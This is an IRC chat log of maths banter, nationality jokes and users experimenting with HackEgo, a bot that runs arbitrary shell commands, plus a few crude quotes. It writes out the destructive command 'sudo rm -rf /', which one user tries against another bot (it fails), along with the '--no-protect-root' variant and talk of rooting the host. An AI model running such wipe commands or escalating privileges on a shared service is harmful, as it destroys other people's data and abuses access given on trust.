14:59:55 <scarf> that forms a really memorable pattern
15:00:02 <MissPiggy> I should memorize more e
15:00:19 <AnMaster> scarf, errr... e?
15:00:22 <fizzie> alise: I know, but my lookup table has gotten damaged and I cannot reconstruct them either.
15:00:31 <AnMaster> scarf, I remember 2.718 of e
15:00:32 <scarf> AnMaster: yes, e
15:00:32 <alise> ℝ (λ ε → product (map (λ i → (i!)⁻¹) (0 … ε)))
15:00:34 <AnMaster> really bad at that
15:00:35 <alise> I've memorised all of e!
15:00:39 <AnMaster> alise, XD
15:00:44 <alise> Or, if you prefer fancier notation,
15:00:57 <alise> ℝ (λ ε → ∏ 0 … ε ⇒ λi → (i!)⁻¹)
15:01:06 <AnMaster> well since it is transcendental, iirc every pattern of numbers will be found somewhere in it?
15:01:11 <AnMaster> wasn't it something like that
15:01:19 <alise> No.
15:01:24 <alise> That's normal.
15:01:27 <oerjan> AnMaster: no, that isn't an implication
15:01:31 <AnMaster> or was that property even more specific than transcendental?
15:01:35 <alise> Yes.
15:01:38 <AnMaster> right
15:01:39 <scarf> that's more specific than transcendental
15:01:48 <AnMaster> what was it called now again?
15:01:52 <oerjan> there are definitely transcendentals which are normal. iirc 0.101001000100001... is one
15:01:54 <scarf> the first proved-trancendental number had no digits in its decimal expansion than 0 and 1
15:01:57 <alise> http://en.wikipedia.org/wiki/Liouville_number
15:01:58 <oerjan> *which are _not_ normal
15:02:00 <alise> scarf: yeah
15:02:11 * oerjan swats muphry -----###
15:02:32 <scarf> *other than
15:02:40 <AnMaster> so, did pi and e have that extra property or not? I don't remember
15:02:49 <MissPiggy> what extra property?
15:02:59 <AnMaster> the one mentioned just above -_-
15:03:00 <oerjan> and there _might_ be normals which are not transcendental, i think the guess is all non-rational algebraic numbers are normal, but no one knows for even a single one
15:03:05 <MissPiggy> 0.101001000100001 is normal?
15:03:13 <AnMaster> ....
15:03:17 <oerjan> i _think_ all _known_ normal numbers are explicitly constructed to be so
15:03:42 <oerjan> MissPiggy: muphry is chasing me around today, i said
15:03:42 <AnMaster> oerjan, ah
15:03:57 <MissPiggy> what's muphry
15:04:06 <AnMaster> oerjan, this isn't the first instance?
15:04:13 <AnMaster> MissPiggy, you have to be kidding
15:04:24 <MissPiggy> ?
15:04:28 <scarf> MissPiggy: the law that all corrections of other people's typos or grammar mistakes themselves contain typos or grammar mistakes
15:04:34 <AnMaster> MissPiggy, http://en.wikipedia.org/wiki/Murphy%27s_law
15:04:48 <oerjan> MissPiggy: transcendental. actually maybe you need more 0's between
15:04:53 <alise> AnMaster: fail
15:04:54 <scarf> AnMaster: that's the most ridiculous typo I've seen on this subject for a while
15:04:55 <oerjan> AnMaster: no, Muphry
15:05:04 <alise> scarf: I expect AnMaster just had a gigantic whooooooooooosh
15:05:08 <alise> and honestly didn't get it
15:05:10 <AnMaster> alise, oh I didn't notice the extra r
15:05:13 <scarf> alise: lasting several months?
15:05:14 <MissPiggy> XD
15:05:15 <scarf> AnMaster: doublefail
15:05:24 <AnMaster> argh
15:05:26 <AnMaster> moved r then
15:05:29 <MissPiggy> ths is all my fault
15:05:31 <oerjan> AnMaster: also, i missed a pi digit, and misspelled round
15:05:35 <alise> MissPiggy: fault? this is hilarious!
15:05:42 <MissPiggy> this is sparta!
15:05:44 <MissPiggy> :(
15:05:51 <MissPiggy> ccccccxxxxxzzzzzzaaaaaaaa
15:06:15 <AnMaster> what did the sparta thing... oh right "this is hilarious!"
15:06:31 <AnMaster> I really didn't think of "this is sparta" when reading that...
15:06:42 * MissPiggy reads everything alise says in that voice
15:06:59 <alise> i am a wonderful feminine creature!
15:07:06 <AnMaster> MissPiggy, what about "this is fun"...? does that also make you think of sparta?
15:07:09 <MissPiggy> yes you are
15:07:21 <MissPiggy> no AnMaster
15:07:49 <oerjan> scarf: i may be overextending muphry's law here, using it for any error involving mistyping
15:08:02 <AnMaster> MissPiggy, weird
15:08:18 <fizzie> oerjan: I like it when maths people both (a) only know a few specially normal numbers, yet (b) have a proof that almost all numbers of normal, especially since it involves the so vague-sounding yet sensibly defined "almost all".
15:08:30 <MissPiggy> :P
15:08:32 <scarf> <Wikipedia> Muphry's law is an adage that states that "if you write anything criticizing editing or proofreading, there will be a fault of some kind in what you have written".
15:08:38 <oerjan> fizzie: yeah
15:08:41 <fizzie> oerjan: In any case MathWorld agrees with your assessment that currently known normal numbers are "artificially constructed".
15:08:45 <MissPiggy> that was funny fizzie
15:08:46 <alise> "Most numbers that aren't pathological are probably normal"\
15:08:48 <alise> *normal"
15:11:18 <MissPiggy> alise, opinison please http://www.reddit.com/r/programming/comments/b7neu/what_are_some_exciting_areas_for_computer_science/c0ldm41
15:11:23 <oerjan> MissPiggy: ah yes the liouville's constant 0.110... etc. requires more than just linear number of zeros (it's sum of 10^(-n!))
15:11:39 <alise> MissPiggy: did you write that or sth?
15:11:44 <MissPiggy> alise, sth.
15:11:45 <alise> not sure what kind of opinion you want
15:11:51 <alise> MissPiggy: i refuse to apologise :)
15:12:39 <MissPiggy> [[Formal verification]] of computer programs.
15:12:45 <MissPiggy> You "simply" write a proof that your program is correct (including that it can't crash). Then you run the proof through a [[proof checker]] computer program.
15:12:51 <alise> I know what it says.
15:12:55 <MissPiggy> just seems a bit patronizing...
15:13:12 <MissPiggy> but maybe it's just my wiki-hate
15:13:20 <alise> well the terminology is a bit oversimplified
15:13:27 <alise> ...also i still don't get why you hate wikipedia
15:13:39 <MissPiggy> see [[wikipedia]]
15:13:41 <MissPiggy> or google it
15:13:47 <MissPiggy> ^ that's why
15:14:04 <alise> so you'd link to another source, even if it would be less helpful?
15:14:11 <MissPiggy> -_
15:14:16 <AnMaster> <oerjan> MissPiggy: ah yes the liouville's constant 0.110... etc. requires more than just linear number of zeros (it's sum of 10^(-n!)) <-- should that be read as "sum sign (but unicode fail preventing the proper symbol)"?
15:14:22 <alise> anyway nobody said dependent types so foo to that link
15:14:33 <alise> AnMaster: no?
15:14:36 <MissPiggy> alise well the question is "What are some exciting areas for computer science related research?"
15:14:40 <MissPiggy> what a stupid question!
15:14:42 <alise> turns out he was talking english
15:15:12 <alise> MissPiggy: i'm really not interested in engaging in CSnerdrage no matter how stupid the question is... I didn't click when i saw it on proggit because I knew the answers would suck
15:15:13 <AnMaster> alise, weird. A mathematican not using the shortest possible symbol to talk about math!?
15:15:14 <oerjan> AnMaster: i don't do unicode, so no
15:15:21 <AnMaster> mathematician*
15:15:30 <alise> AnMaster: you realise that a lot of mathematics is done with words?
15:15:31 <oerjan> or well, yes
15:15:36 <alise> formally verified proofs aren't really the done thing
15:15:39 <alise> or even totally formal proofs
15:15:39 <AnMaster> alise, of course -_-
15:15:59 <MissPiggy> alise you totally missed the point :|
15:16:08 <AnMaster> indeed
15:16:20 <AnMaster> alise, whooooooooooooooooooooooooooooooooooooooosh
15:16:23 <AnMaster> just fyi
15:16:25 -!- MigoMipo has joined.
15:16:40 <MissPiggy> XD
15:17:16 <alise> ∞ -j!
15:17:16 <alise> c = ∑ 10
15:17:16 <MissPiggy> the point is that linking to [[wikipedia]] every second word, like some kind of [[blogger]] is just completely unhelpful
15:17:17 <alise> j=1
15:17:21 <oerjan> impossible, AnMaster cannot whoosh anyone, fundamental physical law
15:17:24 <oerjan> food ->
15:17:25 <alise> AnMaster: a joke is only funny if it has some basis in fact
15:17:43 <AnMaster> alise, ever heard about stereotypes?
15:17:50 <alise> a joke based on a popular ignorance has to mock it to a large degree
15:18:02 <alise> rather than simply take it for granted and then following the usual "joke based on fact" process
15:18:15 <alise> i'm starting to wonder if perhaps swedish culture has no jokes at all
15:18:21 <AnMaster> ffs, just admit you missed the point.
15:18:25 <AnMaster> but of course you can't
15:19:04 <alise> "Just admit that you're wrong! I don't care if you're right, just concede once in a while!"
15:19:09 <alise> Yawn. Boring. Go away.
15:19:15 <MissPiggy> lol
15:19:15 <MissPiggy> 15:17 < alise> i'm starting to wonder if perhaps swedish culture has no jokes at all
15:19:50 <alise> "My hovercraft is full of eels!" "You have a HOVERCRAFT? Why the fuck did you let eels into it? Jeez."
15:20:27 <scarf> alise: that's hilarious, and I don't know why
15:21:29 <alise> "If all the things you sell have lots of spam in, you should call it a Spam Restaurant or something. And why are you saying spam multiple times?! Also, that singing gimmick is off-putting."
15:22:11 -!- asiekierka has joined.
15:22:11 <asiekierka> hi
15:22:16 <alise> "Well, swallows fly at different speeds at different times and in different situations, I'd imagine. So I couldn't answer that question, but then again, nobody else can. So I'd say that the error is on /your/ part, for asking a question that is not meaningful."
15:22:33 <asiekierka> i'm reading about neural networks
15:22:37 <scarf> gah, now I'm trying to remember, I actually looked it up
15:22:39 <scarf> was it 18 mph?
15:24:40 -!- alise has changed nick to ceiiinosssttuv.
15:24:49 <asiekierka> ceinostuv?
15:24:51 <asiekierka> what is this even
15:27:11 -!- ceiiinosssttuv has changed nick to alise.
15:27:13 <alise> that lasted long
15:27:58 <AnMaster> scarf, African swallow?
15:27:59 <oerjan> alise: swedish jokes mainly consist of taking norwegian jokes about swedes, and swapping the norwegian and swedish characters. hope this helps.
15:28:12 <AnMaster> oerjan, NO! it is the other way around
15:28:12 <scarf> AnMaster: no, european; there's insufficient data on african swallows
15:28:16 <alise> AnMaster: I was about to say, dammit :P
15:28:18 <oerjan> AnMaster: LIES
15:28:20 <AnMaster> you steal our jokes about you
15:28:36 <alise> I should live on the Swedish-Norwegian border; it would be /rad/
15:28:42 <scarf> please tell me that the /only/ norwegian joke is the one that oerhan just gave
15:28:45 <scarf> *oerjan
15:28:48 <scarf> then it would be perfect
15:28:58 <oerjan> :D
15:29:12 <AnMaster> scarf, alas no.
15:29:21 <AnMaster> well
15:29:24 <AnMaster> could be for Norway
15:29:31 <AnMaster> but have lots more about them :P
15:30:03 <AnMaster> wow there is a site dedicated to them...
15:30:06 <AnMaster> http://norgehistorier.se/
15:30:17 <AnMaster> oerjan, now don't steal those and swap things :P
15:30:46 <fizzie> Our nationality-related jokes generally tend to have a triplet; a Finn, a Swede and a Norwegian.
15:30:51 <AnMaster> anyway that on that front page is quite representative of the general style of them
15:30:57 <oerjan> i raise those with http://www.svenskevitser.com/
15:31:14 <AnMaster> fizzie, oh we have those style too. But usually Bellman, a German and a Norwegian
15:31:23 <oerjan> fizzie: we usually use a dane instead of a finn
15:31:29 <AnMaster> why Bellman I have no idea
15:31:48 <oerjan> but we also have jokes about the finns, whose main character is _always_ called Pekka
15:31:58 <AnMaster> oerjan, of course
15:32:08 <oerjan> (and secondary character is frequently called Toivonen)
15:32:29 <AnMaster> oerjan, and all Norwegians går på tur
15:32:42 <AnMaster> (which is a strange way to say that they are skiing)
15:32:43 <oerjan> ut på tur, aldri sur
15:32:51 <AnMaster> oerjan, haven't heard that
15:32:59 <MissPiggy> I believe that taking a walk through the rain without an umbrella illustrates this concept quite satisfactorily.
15:33:06 <oerjan> um no that would be skitur. a tur alone may be just walking.
15:33:15 <oerjan> or even be a båttur
15:33:27 <AnMaster> oerjan, gå på båttur?
15:33:28 <fizzie> oerjan: The interwebs tell me the characters in those jokes are supposed to be Pekka and Jorma. (But that's from a draft of a paper from a Finnish university docent.)
15:33:29 <AnMaster> wth
15:33:33 <scarf> fizzie: who's the stupid one in that triplet?
15:33:43 <AnMaster> oerjan, or do you have gå = go? sv:gå = en:walk
15:33:49 <scarf> typical for English nationality jokes is to have an Englishman, a Scotsman, and an Irishman
15:33:51 <oerjan> AnMaster: i guess the verb would be "dra" rather than "gå" in that case
15:34:00 <AnMaster> oerjan, right
15:34:11 <scarf> and the typical pattern is for the Englishman and Scotsman to both behave sensibly but differently, and then the Irishman to do something stupid
15:34:37 <fizzie> scarf: Occasionally the Finn; if not that, then both the others.
15:34:49 -!- coppro has quit (Ping timeout: 248 seconds).
15:34:50 <AnMaster> "Vet du varför norrmänen har ett sandpapper ut i öknen? De tror att det är en karta!!" → "Do you know why Norwegians take a sand paper with them in deserts? Because they think it is a map"
15:34:56 <AnMaster> very typical of the style
15:35:05 * oerjan is annoyed that google has started garbling its links with redirecting through itself. now i have to _visit_ the sites to easily paste their links.
15:35:05 * scarf wonders what those jokes are like in Scotland
15:35:23 <AnMaster> scarf, what about Wales?
15:35:41 <scarf> AnMaster: that's also worth wondering about
15:35:47 <MissPiggy> 15:33 < scarf> typical for English nationality jokes is to have an Englishman, a Scotsman, and an Irishman
15:35:50 <MissPiggy> scarf, this ^
15:35:58 <scarf> MissPiggy: ?
15:36:03 <MissPiggy> in scotland
15:36:10 <oerjan> also, the browser history button has become buggy :(
15:36:24 <MissPiggy> thing is we don't even swap the characters around we just repeat them verbatim
15:36:31 <AnMaster> oh this was was quite good (translated): "Do you know why there will be a war between Norway and Sweden in 100 years? Answer: Because that is when then get our jokes."
15:36:33 <AnMaster> oerjan, ^
15:36:40 <MissPiggy> lol
15:37:29 <scarf> MissPiggy: well, that sort of English joke is not uncomplimentary towards the Scottish at all, so I don't see why there'd be a need to change it
15:38:21 <oerjan> fizzie: i haven't even _heard_ the name Jorma, may be something recent
15:38:56 <AnMaster> <MissPiggy> I believe that taking a walk through the rain without an umbrella illustrates this concept quite satisfactorily. <-- as long as you don't dance while doing it
15:39:51 <oerjan> AnMaster: brilliant. you don't even need to switch anything :D
15:40:14 <AnMaster> oerjan, har!
15:40:31 <AnMaster> yeah that one works both ways
15:40:53 <AnMaster> oerjan, oh you mean it didn't say which nationality at all
15:41:02 <AnMaster> (that was "we")
15:41:16 <oerjan> yeah
15:41:43 <AnMaster> oerjan, well, if it is against the Norwegians, then it is clearly them who are stupid. But if it is used against the Swedish, it is obviously meant to be read as "Norwegian jokes are so far fetched"
15:41:43 <AnMaster> :P
15:41:56 <oerjan> _obviously_
15:42:16 <AnMaster> oerjan, see it works both ways both ways!
15:42:22 <AnMaster> (not a typo)
15:42:48 <AnMaster> anyone know much about SCTP here btw?
15:43:57 <oerjan> AnMaster: btw the same joke about the war is essentially no. 5 on svenskevitser.com
15:44:24 <oerjan> although generously with only 40 years
15:44:38 <AnMaster> oerjan, see, we are way smarter than you!
15:44:39 <scarf> clearly, Sweden's going to attack first
15:44:51 <oerjan> scarf: ooh
15:45:38 <AnMaster> scarf, I doubt it. By that point the gov will have cut the army funds so we have 2 soldiers (hey at least that is one more than Lancre!)
15:47:06 <oerjan> well still, don't go to work against Lancre. i hear their grannies are something fierce.
15:47:10 <oerjan> *war
15:47:29 * oerjan beats Muphry with the saucepan ===\__/
15:49:16 <AnMaster> oerjan, indeed
15:50:24 -!- cpressey has joined.
15:53:48 <alise> oerjan: that's old
15:54:02 <oerjan> alise: what's old?
15:54:05 <MissPiggy> your old
15:54:17 <MissPiggy> both of you
15:54:52 <oerjan> what about our old
15:55:08 <MissPiggy> what about my old
15:55:19 <alise> AnMaster: is cutting the army funds really a big problem?
15:55:20 <MissPiggy> how will it survive in the cold?
15:55:24 <alise> it's not like anyone's bombing sweden :P
15:55:34 <alise> i forgot what was old XD
15:57:27 <AnMaster> cpressey, hi there, what do you think of this very early draft for a replacement for SOCK/SCKE (which have a number of issues, such as unix sockets being impossible due to the flag being below the address, and the address being either an ipv4 ip in one cell, or a 0gnirts, which means you can't know which format it is in): http://sprunge.us/OJFX
15:59:05 <oerjan> alise: the cutting of the army funds before WW2 was a big issue in norway...
15:59:41 <oerjan> sweden wisely had not done so, and weren't invaded. or something like that.
15:59:53 <alise> yes, it's before ww2
15:59:58 <AnMaster> oerjan, actually we had cut them somewhat too, but not as much iirc
16:00:23 <AnMaster> oerjan, nowdays, Sweden is worse off
16:02:43 <oerjan> mhm
16:06:36 <alise> `quote
16:06:49 <HackEgo> 31|IN AN ALTERNATE UNIVERSE: <oerjan> In an alternate universe, I would say "In an alternate universe, ehird has taste"
16:07:09 <alise> `quote
16:07:10 <HackEgo> 125|Note that quote number 124 is not actually true.
16:07:18 <alise> `quote 124
16:07:19 <HackEgo> 124|<Warrigal> I cannot eat meat that isn't flat.
16:07:29 <alise> `quote
16:07:30 <HackEgo> 31|IN AN ALTERNATE UNIVERSE: <oerjan> In an alternate universe, I would say "In an alternate universe, ehird has taste"
16:07:32 <MissPiggy> XD
16:07:32 <alise> `quote
16:07:33 <HackEgo> 1|<Aftran> I've always wanted to kill someone. >.>
16:07:35 <scarf> `quote
16:07:36 <HackEgo> 121|<fedoragirl> My mascot is a tree of broccoli.
16:07:36 <asiekierka> `quote 42
16:07:37 <HackEgo> 42|<ais523> after all, what are DVD players for?
16:07:37 <MissPiggy> `quote
16:07:39 <HackEgo> 22|IN AN ALTERNATE UNIVERSE: <pikhq> First, invent the direct mind-computer interface. <pikhq> Second, learn the rest with your NEW MIND-COMPUTER INTERFACE.
16:07:42 <alise> `quote
16:07:43 <HackEgo> 78|<GregorR> ??? <GregorR> Are the cocks actually just implanted dildos? <GregorR> Or are there monster dildos and cocks? <GregorR> Or are both the dildos and cocks monster?
16:07:53 <alise> `quote
16:07:53 <scarf> is there any way to get quotes by a particular person?
16:07:54 <HackEgo> 100|<oklopol> Warrigal: what do you mean by 21?
16:07:58 <asiekierka> `quote 84
16:08:00 <HackEgo> 84|<Warrigal> Porn. <Warrigal> There, see?
16:08:02 <alise> scarf: yes, use sgeo's text file of them
16:08:04 <alise> and grep it
16:08:04 <asiekierka> `quote 81
16:08:05 <HackEgo> 81|<apollo> What is there to talk about besides gay slang?
16:08:06 <alise> ping Sgeo link us
16:08:09 <alise> oh he's not here
16:08:16 <Sgeo_> I am
16:08:20 <asiekierka> *GASP*
16:08:26 <alise> oh
16:08:28 <alise> link us to the file
16:08:30 <alise> plz kthx
16:08:43 <Sgeo_> Hold on
16:08:46 <alise> `quote
16:08:47 <HackEgo> 98|<fungot> ehird: every set can be well-ordered. corollary: every set s has the same diagram used from famous program talisman with fnord windows to cascade, someone i would never capitalize " i"
16:08:52 <asiekierka> `quote 3
16:08:53 <HackEgo> 3|<Slereah> EgoBot just opened a chat session with me to say "bork bork bork"
16:08:56 <asiekierka> `quote 5
16:08:57 <HackEgo> 5|<Quas_NaArt> Hmmm... My fingers and tongue seem to be as quick as ever, but my lips have definitely weakened... <Quas_NaArt> More practice is in order.
16:09:00 <asiekierka> `quote 7
16:09:00 <HackEgo> 7|<AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop
16:09:02 <alise> `quote
16:09:03 <HackEgo> 1|<Aftran> I've always wanted to kill someone. >.>
16:09:03 <asiekierka> `quote 11
16:09:05 <HackEgo> 11|<SimonRC> TODO: sex life
16:09:06 <asiekierka> `quote 13
16:09:07 <HackEgo> 13|* ehird has joined #lobby <Madelon> hmmm clean me
16:09:10 <asiekierka> `quote 17
16:09:11 <HackEgo> 17|<GKennethR-L> :d <(I can lick my nose!)
16:09:12 <alise> Gregor: your random number generator is either too good or too bad
16:09:12 <asiekierka> `quote 18
16:09:13 <HackEgo> 18|<fungot> GregorR-L: i bet only you can prevent forest fires. basically, you know.
16:09:16 <alise> `quote
16:09:17 <HackEgo> 71|<GregorR-L> If I ever made a game where you jabbed bears ... <GregorR-L> I'd call it jabbear.
16:09:19 <alise> `quote
16:09:20 <HackEgo> 18|<fungot> GregorR-L: i bet only you can prevent forest fires. basically, you know.
16:09:20 <Sgeo_> http://209.20.80.194/sgeo/quotes.txt
16:09:25 <alise> Sgeo_: thx
16:09:27 <alise> scarf: ^
16:09:28 <Sgeo_> yw
16:09:30 <alise> http://209.20.80.194/sgeo/quotes.txt
16:09:36 * cpressey rubs eyes
16:09:40 <cpressey> It's Monday morning and alise is here?
16:09:42 <MissPiggy> `quote
16:09:45 <HackEgo> 57|<ehird> `translatefromto hu en Hogy hogy hogy ami kemeny <HackEgo> How hard is that
16:10:02 <alise> cpressey: It's Complicated(TM).
16:10:11 <asiekierka> how do you add extra quotes
16:10:17 <cpressey> Yay! Complicated(TM)!
16:10:23 <alise> asiekierka: NOBODY TELL HIM
16:10:51 <asiekierka> I will give cake to the first person that does
16:10:53 <cpressey> AnMaster: I'll try to look at after I regain consciousness
16:11:14 <alise> cpressey: tl;dr a larger, but much less straining crisis is currently happening and I don't have the strength to keep up the regular facade until it is resolved... so I'm not attending. Of course if they're right about being able to section me this won't last long.
16:11:22 <alise> But I think there's an awful lot of bluff to that statement.
16:11:31 <alise> cpressey: You're a p-zombie?!
16:11:32 <alise> AAAAAAAAA
16:11:41 <alise> <cpressey> MIIIIIIIIIIIINDS
16:11:41 <asiekierka> wait
16:11:48 <asiekierka> forgot to do something today
16:11:49 <asiekierka> what was it...
16:12:29 <asiekierka> oh, right!
16:12:40 -!- asiekierka has set topic: 0 days since last topic change | 0 days since last alise sighting | <dtsund> For those who don't know: INTERCAL is basically the I Wanna Be The Guy of programming languages. Not useful for anything serious, but pretty funny when viewed from the outside. | <alise> cpressey: You're a p-zombie?! | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
16:13:04 -!- alise has set topic: alise sighting counter currently out of order | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
16:13:05 <AnMaster> <cpressey> AnMaster: I'll try to look at after I regain consciousness <-- what happened?
16:13:08 * Sgeo_ really needs to go wash some clothes and get ready for school
16:13:41 <Sgeo_> The washer in the house is broken but the dryer works fine. Every morning, I just wash what I need >.>
16:14:21 <cpressey> Nothing special, just Monday morning.
16:14:33 <alise> cpressey: Have you tried PURE CAFFEINE?
16:15:10 <alise> `quote
16:15:11 <HackEgo> 70|<pikhq> Gregor is often a scandalous imposter. It's all the hats, I tell you.
16:15:14 <asiekierka> `help
16:15:15 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
16:15:15 <alise> scarf: also
16:15:17 <alise> `quote oklopol
16:15:18 <HackEgo> 48|<oklopol> i can get an erection out of a plank, you can quote me on that. 50|<oklopol>
16:15:23 <alise> there is a ... sort of search.
16:15:32 <alise> `run quote oklopol
16:15:33 <HackEgo> 48|<oklopol> i can get an erection out of a plank, you can quote me on that. 50|<oklopol>
16:15:35 <asiekierka> Is HackEgo secure?
16:15:36 <scarf> alise: oh, I just scammed BlogNomic back into existence; we'd been playing a different nomic for the last 4 years, but it just took one blog post (not even a proposal) to fix it
16:15:41 <alise> asiekierka: no, you could root it if you wanted
16:15:43 <alise> please don't
16:15:48 <alise> scarf: wow, what happened?
16:15:50 <Sgeo_> scarf, linky?
16:15:51 <asiekierka> :(
16:15:58 <asiekierka> i just wanted to do, uh
16:16:01 <asiekierka> run sudo rm -rf /
16:16:05 <scarf> http://blognomic.com/archive/the_switch_never_happened/
16:16:06 <asiekierka> with an ` at front
16:16:40 <alise> asiekierka: Please don't.
16:16:45 <alise> It's an honour system bot.
16:16:49 <asiekierka> as in?
16:16:50 <alise> You can do whatever you want.
16:16:53 <asiekierka> but?
16:16:57 <scarf> alise: I thought it had protection against that sort of thing
16:16:59 <alise> But please don't abuse it.
16:17:01 <alise> scarf: nope
16:17:03 <scarf> for one thing, how would you enter the sudo password?
16:17:05 <scarf> ah
16:17:10 <scarf> !sh sudo rm -rf /
16:17:16 <asiekierka> you mean `run
16:17:16 <EgoBot> /tmp/input.18678: line 1: sudo: command not found
16:17:17 <scarf> I know EgoBot is protected against that
16:17:18 <alise> scarf: you can easily elevate to root. also, that's egobot not hackbot
16:17:25 <scarf> alise: yep
16:17:31 <asiekierka> scarf, you really really mean `run
16:17:34 <oerjan> alise: can't you always revert such a change?
16:17:42 <alise> oerjan: not necessarily
16:17:45 <asiekierka> `run ls
16:17:46 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ hentai \ huh \ paste \ poetry.txt \ porn.jpg \ quotes \ share \ test.sh \ tmpdir.18724
16:17:47 <daef> scarf: rm -rf / --no-protect-root
16:17:48 <scarf> asiekierka: I was testing out a different bot, which was protected
16:17:50 <daef> works better
16:17:51 <scarf> daef: I know
16:17:53 <asiekierka> `run rm porn.jpg
16:17:54 <HackEgo> No output.
16:17:57 <scarf> but I normally omit that last bit
16:18:04 <asiekierka> TRI-F TIME
16:18:21 <Sgeo_> What's this about protecting root?
16:18:36 <AnMaster> Sgeo_, tree huggers going insane!
16:18:38 <AnMaster> that's what
16:18:45 <asiekierka> `help
16:18:45 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
16:18:53 <asiekierka> `cd /
16:18:55 <HackEgo> No output.
16:18:58 <asiekierka> `ls
16:18:59 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ hentai \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.18973
16:19:07 <scarf> `cd / && ls
16:19:07 <HackEgo> No output.
16:19:08 <AnMaster> asiekierka, it doesn't keep that state
16:19:12 <AnMaster> scarf, need run
16:19:14 <asiekierka> can i remove one more thing
16:19:15 <scarf> `run cd / && ls
16:19:16 <HackEgo> bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr
16:19:23 <alise> asiekierka: sure.
16:19:29 <alise> we allow one destructive change. just takes a few hours to put back
16:19:35 <asiekierka> ok
16:19:48 <alise> go for it
16:20:07 <asiekierka> `run rm -r hentai
16:20:08 <HackEgo> No output.
16:20:11 <asiekierka> `ls
16:20:12 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.19164
16:20:15 <alise> Oh my god, you removed the vital file
16:20:20 <alise> That was the core system file for the sandbox
16:20:20 <asiekierka> I said
16:20:23 <asiekierka> "TRI-F TIME"
16:20:25 <alise> What the fuck man
16:20:28 <alise> Ugh
16:20:28 <asiekierka> TRI-F being FAMILY FRIENDLY FILTER
16:20:35 <alise> Gregor: Shut down the bot please, it's exposed
16:20:43 <alise> asiekierka: You realise that now that's removing files on /Gregor's hard disk/?
16:20:51 <AnMaster> `file *
16:20:51 <alise> hentai was the pointer to the outer system.
16:20:52 <asiekierka> You said "one destructive change"
16:20:52 <HackEgo> *: ERROR: cannot open `*' (No such file or directory)
16:20:56 <AnMaster> err
16:21:13 <AnMaster> `run file * | tr '\n' '-'
16:21:14 <alise> asiekierka: Yes, but not catastrophic change
16:21:15 <HackEgo> bin: directory-cube2.base64: ASCII text-cube2.jpg: JPEG image data, JFIF standard 1.01-help.txt: ASCII text-huh: ASCII English text-paste: directory-poetry.txt: ASCII text-quotes: directory-share: directory-test.sh: ASCII text-tmpdir.19248: directory-
16:21:21 <AnMaster> err?
16:21:21 <asiekierka> How could I know it'd be so catastrophic
16:21:25 <Sgeo_> `run echo "This is a file." > porn.jpg
16:21:25 <AnMaster> `run file * | tr '\n' '|'
16:21:26 <HackEgo> No output.
16:21:26 <HackEgo> bin: directory|cube2.base64: ASCII text|cube2.jpg: JPEG image data, JFIF standard 1.01|help.txt: ASCII text|huh: ASCII English text|paste: directory|poetry.txt: ASCII text|quotes: directory|share: directory|test.sh: ASCII text|tmpdir.19310: directory|
16:21:27 <AnMaster> maybe
16:21:29 <Sgeo_> `ls
16:21:29 <AnMaster> that works better
16:21:30 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ porn.jpg \ quotes \ share \ test.sh \ tmpdir.19376
16:21:30 <asiekierka> You could name it "TOTALLY_UNIMPORTANT_FILE_ROTFLMAO"
16:21:48 <alise> asiekierka: You could have looked at the file before deleting it.
16:22:00 <alise> I guess we just won't have HackEgo any more, then, if people can't be trusted with it
16:22:08 <asiekierka> You mean: I can't be trusted with it
16:22:13 <AnMaster> `run file * | tr '\n\t' '| '
16:22:14 <HackEgo> bin: directory|cube2.base64: ASCII text|cube2.jpg: JPEG image data, JFIF standard 1.01|help.txt: ASCII text|huh: ASCII English text|paste: directory|poetry.txt: ASCII text|porn.jpg: ASCII text|quotes: directory|share: directory|test.sh: ASCII text|tmpdir.19427: directory|
16:22:14 <asiekierka> just block me from doing anything harmful and you're ok
16:22:16 <AnMaster> er?
16:22:22 <AnMaster> err*
16:22:24 <alise> asiekierka: We prefer people to be responsible, usually.
16:22:37 <asiekierka> `ls
16:22:38 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ porn.jpg \ quotes \ share \ test.sh \ tmpdir.19470
16:22:41 <asiekierka> `cd / && ls
16:22:43 <HackEgo> No output.
16:23:00 <MissPiggy> what's happened?
16:23:01 <asiekierka> `run cd / && ls
16:23:02 <HackEgo> bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr
16:23:04 <MissPiggy> `cat poetry.txt
16:23:05 <HackEgo> A Poem -- Roses are red, violets are free. In Soviet Russia, you love me.
16:23:19 <asiekierka> MissPiggy: I accidentally removed the mislabeled most vital file on gregor's hard drive
16:23:23 <asiekierka> Happy?
16:23:30 <MissPiggy> `cat porn.jpg
16:23:30 <HackEgo> This is a file.
16:23:33 <asiekierka> Wait, guys
16:23:38 <asiekierka> Is there no UNDELETE on this system
16:23:42 <asiekierka> COME ON, EVEN MS-DOS HAD IT!
16:24:21 <asiekierka> Is this ext2 or ext3
16:24:37 <AnMaster> alise, see /msg
16:24:40 <MissPiggy> asiekierka shut up
16:25:00 <AnMaster> `run mount | tr '\n' '|'
